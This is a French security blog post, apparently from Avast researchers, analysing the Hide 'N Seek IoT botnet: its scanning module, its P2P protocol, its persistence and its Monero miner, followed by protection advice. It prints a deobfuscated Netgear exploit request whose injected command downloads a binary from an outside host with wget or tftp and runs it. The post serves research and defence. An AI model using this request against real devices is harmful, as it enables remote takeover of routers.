Jouons à cache-cache avec un botnet

Le botnet Hide ‘N Seek continue d'infecter des appareils avec des identifiants par défaut, de créer un réseau P2P et bien plus encore.

Écrit par Adolf Středa et Jan Neduchal

Fin janvier 2018, un nouveau botnet IoT a été signalé par Bitdefender[1]. Ce botnet exploite plusieurs vulnérabilités connues pour infecter de nouveaux appareils IoT et utilise un protocole P2P maison pour faciliter la communication à travers le botnet.

Même s'il en diffère de bien des façons, les vecteurs et techniques d'infection de ce botnet sont très similaires à Mirai. Et de nombreuses parties des fonctions associées présentent en effet tous les signes d'un recyclage du code, comme l'a noté J. Manuel de Fortinet en avril 2018[3].

Le botnet Hide ‘N Seek possède deux fonctionnalités principales. La première d'entre elles est fournie par un module d'analyse, dont le code semble avoir été majoritairement emprunté au code source public de Mirai. Ce module d'analyse essaie d'atteindre plusieurs adresses IP au hasard via des ports prédéfinis (les ports 80, 8080, 2480, 5984 et 23), puis exploite les appareils ayant ces ports ouverts. La plupart des failles exploitées sont connues et si des chaînes spécifiques sont utilisées, elles sont obfusquées par un chiffrement maison ayant une clé codée en dur.

Curieusement, le chiffrement possède une propriété intéressante qui lui est conférée par la structure du chiffrement et un espace de clé restreint : la clé « s'auto-synchronise » à la bonne valeur après plusieurs caractères, même si une clé erronée a été saisie dans un premier temps.

GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget+http://%J/%T+-O+dgn||tftp+-g+-l+dgn+-r+%T+%I;chmod+777+dgn;./dgn+a%J+a%J%26%26(echo+jA3;killall+mini_httpd)||echo+ukW&curpath=/tmp&currentsetting.htm=1 HTTP/1.1

Host: %J

Exploitation d'un routeur Netgear désobfusqué (exécution d'un code distant)

Si l'exploitation échoue, le module d'analyse essaiera de forcer les identifiants à l'aide de son dictionnaire codé en dur comportant plus de 250 entrées, contenant principalement des mots de passe par défaut pour divers appareils. Le dictionnaire se compose de 3 ensembles de données obfusquées de la même manière que les autres chaînes binaires. La seule différence réside dans le fait que chaque entrée du dictionnaire se termine par un octet nul qui réinitialise la clé d'obfuscation.

La deuxième fonctionnalité facilite le protocole de communication. Le protocole est capable de diffuser des informations concernant de nouveaux pairs, de distribuer de nouvelles valeurs binaires et de propager des fichiers à partir d'un appareil infecté.

Protocole P2P

Le botnet Hide ‘N Seek utilise un protocole maison exécuté via UDP. Par défaut, le bot ouvre un port au hasard sur l'appareil infecté et ajoute une règle au pare-feu autorisant le trafic entrant sur le port. Le protocole en lui-même n'utilise pas d'authentification, même si certaines données qui transitent via ce protocole sont signées, soi-disant par le propriétaire du botnet.

Actuellement, le protocole prend en charge les commandes suivantes :

<random 5- 16 bytes><uint8_t checksum>: protocol challenge, réponse ack attendue

O<uint8_t checksum> : ack (accusé de réception, somme de contrôle générée à partir du message précédent)

h<uint32_t current_version>: demander la version de la configuration

H<uint32_t offered_version>: version de la configuration en réponse

Y<uint8_t hash[64]><uint16_t seq><uint16_t chunk_index>: envoyer des données à partir du fichier identifié par

hash à partir de l'emplacement 256 * chunk_index (256 bytes maximum)

y<uint8_t hash[64]><uint16_t chunk_index><uint16_t seq>: réception de données (idem)

z<uint32_t ip_address><uint16_t port>: signaler un appareil à analyser

m<uint8_t hash[64]><uint32_t ip><uint16_t port><uint16_t id><uint8_t hops><uint8_t unknown>: envoyer un fichier identifié par  hash vers ip:port ; si le fichier est inconnu et si la valeur hops est positive, alors diffuser ce message aux autres pairs avec une valeur hops réduite ; sert à initier un transfert de fichiers

^<uint8_t flag><uint16_t port><uint32_t ip_address>: réponse avec l'adresse/le port d'un pair

~: demander l'adresse/le port d'un autre pair

Tracker du botnet

Nous avons décidé de suivre la communication du botnet via son protocole P2P plutôt simpliste. Le tracker se compose de deux parties :

  • un téléchargeur qui suit les mises à jour des valeurs binaires via le fichier de configuration du botnet ;
  • un client qui surveille l'activité du botnet et qui essaie de trouver de nouveaux pairs.

Le tracker est disponible à l'adresse https://threatlabs.avast.com/botnet et devrait également faire office d'agrégateur de référence pour les recherches que nous publierons concernant Hide 'N Seek.

Extraction de fichiers

Chaque pair possède un fichier de configuration contenant une liste de hachages SHA-512 d'autres fichiers disponibles dans le botnet, en plus de leurs longueurs de fichiers respectives. Pour récupérer un fichier de configuration auprès du pair, nous devons envoyer au pair une demande de fichier ayant un hachage égal à zéro. La commande « h » nous permet de récupérer sa version préalable.

Ensuite, il suffit d'analyser le fichier de configuration et demander les hachages de tous les fichiers disponibles pour les récupérer. En plus des valeurs binaires de Hide ‘N Seek pour diverses architectures, le fichier de configuration contient également les hachages d'un mineur basé sur un coinminer-opt open source. Veuillez noter que le fichier de configuration contient toujours sa signature ECDSA, ce qui atténue effectivement l'infection du botnet.

Pour éviter les attaques par force brute des pairs, nous utilisons une sécurité simple basée sur un taux d'échec qui arrêtera les requêtes si elles échouent après un certain nombre de tentatives. À l'heure actuelle, plusieurs architectures sont prises en charge par ce botnet, comme x86, MIPS et ARM.

Exploration via les pairs

Étant donné que le botnet possède uniquement une architecture P2P, toutes les données nécessaires à l'analyse peuvent être obtenues via les pairs. Pour estimer la prévalence du botnet, nous avons exploité cette propriété pour trouver de nouveaux pairs de façon récurrente et nous avons cartographié les connexions entre eux.

Malheureusement, chaque pair sélectionne un sous-ensemble de sa liste de pairs (généralement 1 ou 2 pairs) avec lequel il peut partager ce jour-là. De ce fait, nous avons dû élargir notre liste de pairs au fil du temps. Il nous a fallu quelques jours pour atteindre une liste de 1 000 pairs, avant que cette liste ne s'élargisse de façon linéaire et ne gagne 1 à 2 000 nouveaux pairs par jour. La liste des pairs actuellement actifs est relativement limitée, car environ 14 % d'entre eux sont actifs au cours d'un intervalle variable d'un jour.

Les découvertes du tracker

Notes de version

Comme divers chercheurs l'ont souligné, (par ex. [2]), le botnet Hide ‘N Seek a ajouté une prise en charge de la persistance. Pour ce faire, il suffit de le copier dans /etc/init.d, ainsi que les nouvelles versions dans /etc/rc.d sous un nom de fichier précédé de S99. Plus le nombre est élevé, plus ce fichier sera lancé tard au cours du démarrage.

L'analyse initiale était basée sur un échantillon 8cb5cb204eab172befcdd5c923c128dd1016c21aaab72e7b31c0359a48d1357e, comparé à un échantillon plus récent becad1b9d3b67e51404475a0a530b57fd5742f3148f23693c349035dbffddd7. L'éventail des exploits disponibles a considérablement augmenté.

Le premier échantillon ne contenait que deux exploits basés sur des requêtes HTTP (pour les appareils TP-Link et Netgear), tandis que le second échantillon a élargi les attaques pour couvrir davantage de fournisseurs (Cisco) et d'appareils (Belkin, caméras IP Avetech, appareil IoT HomeMatic), ainsi que des exploits concernant des bases de données mal configurées (MongoDB et CouchDB).

Mineur

Il a déjà été signalé [4] que le botnet distribuait également des valeurs binaires contenant un cryptomineur. Le mineur se base sur un mineur de processeur open source appelé coinminer-opt (JayDDee/cpuminer-opt). La version distribuée via le botnet est configurée pour miner la cryptomonnaie Monero via un pool de minage https://moriaxmr.com. Leur adresse de paiement est :

42T2ZKueiusgZW2Tpu3NZkChLAVqvqTcvgwzfPtxsTPMDgp8morgWMkEE9oqmNsKZcDUVoCdNufs87fCGE2Y62CcJX4DUhc.

Nous pouvons suivre leur réussite via le tableau de bord du pool :

Botnet-hide-n-seek-Avast

Au 31/10/2018, il semblerait que les propriétaires du botnet aient gagné près de 0,9 XMR, soit environ 90 $ (79 €). Étant donné qu'il fonctionne depuis plusieurs mois déjà et que le dernier paiement a été effectué il y a au moins 2 mois, nous supposons qu'il a pu s'agit d'un bêta-test, susceptible d'évaluer grossièrement la puissance informatique du botnet.

Nous disposons de deux façons de trouver cette adresse de paiement. La première consiste à exécuter l'échantillon et à examiner la communication TCP pour des chaînes telles que :

{"method": "login",
"params": {"login":
"42T2ZKueiusgZW2Tpu3NZkChLAVqvqTcvgwzfPtxsTPMDgp8morgWMkEE9oqmNsKZcDUVoCdNufs87fCGE2Y62CcJX4DUhc.105",
"pass": "3a7",
"agent": "cpuminer-opt/3.8.8"},
"id": 1}

Cependant, cette méthode suppose que nous pouvons exécuter l'échantillon, ce qui n'est pas chose aisée pour certaines architectures prises en charge. Si nous explorons plus profondément le code binaire, nous remarquons que l'adresse est obfusquée et qu'elle pourrait être désobfusquée à l'aide du simple script en Python fourni ci-dessous ; veuillez noter que la valeur BL initiale peut varier d'un code binaire à l'autre.

Botnet-hide-n-seek-Avast-2

Code en Python procédant à la désobfuscation de l'adresse, affichant cette dernière
42T2ZKueiusgZW2Tpu3NZkChLAVqvqTcvgwzfPtxsTPMDgp8morgWMkEE9oqmNsKZcDUVoCdNufs87fCGE2Y62CcJX4DUhc

Cette bonne vieille architecture

Le fichier de configuration semble prendre en charge un grand nombre d'architectures. Celles-ci ont été identifiées à l'aide de leur drapeau (première colonne) dans les codes binaires ELF.

Drapeau ELF

Nom de l'architecture courante

Plateforme courante

EM_MIPS

MIPS

Routeurs, IoT

EM_SPARC

SPARC

Serveurs

EM_X86_64

x86-64

PC/serveurs courants

EM_AARCH64

Architecture ARM 64 bits

Smartphones, routeurs, IoT

EM_ARM

Architecture ARM 32 bits

Smartphones, routeurs, IoT

EM_PPC

PowerPC

Routeurs Cisco, appareils Apple datant de 2016 ou avant, PS3

EM_ARC_COMPACT

Processeur ARC International AR Compact

Voitures, IoT

EM_386

x86

PC/serveurs courants

EM_SH

SuperH

Voitures, routeurs (rare)

Voici les conclusions que nous pouvons tirer de cette analyse :

  • Même si le botnet n'est pas nouveau, ses objectifs sont encore flous. Jusqu'ici, seul le mineur Monero a été distribué par le botnet avec une efficacité relativement limitée.
  • Le botnet exploite les appareils ayant d'anciennes vulnérabilités connues et des mots de passe par défaut.
  • Le botnet continue d'évoluer lentement, en ajoutant de nouvelles failles et fonctionnalités (comme la persistance).

Voici les mesures à prendre pour s'en protéger :

  • Limiter les personnes ayant accès au panneau d'administration de l'appareil au réseau local (c'est-à-dire Indisponible via Internet).
  • Mettre à jour le micrologiciel de l'appareil.
  • Changer les mots de passe par défaut des appareils et s'assurer qu'ils sont sûrs.

Fichiers analysés (SHA-256)

becad1b9d3b67e51404475a0a530b57fd5742f3148f23693c349035dbffddd7

8cb5cb204eab172befcdd5c923c128dd1016c21aaab72e7b31c0359a48d1357e

6399f9463c74ee687c047e3a7e0149421de423de77ee278ce364b68d22eada00

12ec8c33abae7f0b06533d96f0d820df4ac673e6ff3965a59d982623f4ddc6bb

D87ff51186c4a75ba0fb802abd55a15d263187aefd489a37f505b025ddc1ee66 (mineur)

[1] https://labs.bitdefender.com/2018/01/new-hide-n-seek-iot-botnet-using-custom-built-peer-to-peer-communication-spotted-in-the-wild/, accès le 20/10/2018

[2] https://labs.bitdefender.com/2018/05/hide-and-seek-iot-botnet-resurfaces-with-new-tricks-persistence/, accès le 20/10/2018

[3] https://www.fortinet.com/blog/threat-research/searching-for-the-reuse-of-mirai-code--hide--n-seek-bot.html, accès le 20/10/2018

[4] Sendroiu, A. et Diaconescu, V. (2018). Hide'N'Seek: An Adaptive Peer-to-peer IoT Botnet. Dans : Proceedings of the 28th Virus Bulletin International Conference. Montréal  Virus Bulletin Ltd, pp.259-264.

Merci d’utiliser Avast Antivirus et de nous recommander à vos amis et votre famille. Pour toutes les dernières actualités, pensez à nous suivre sur Facebook et Twitter.

--> -->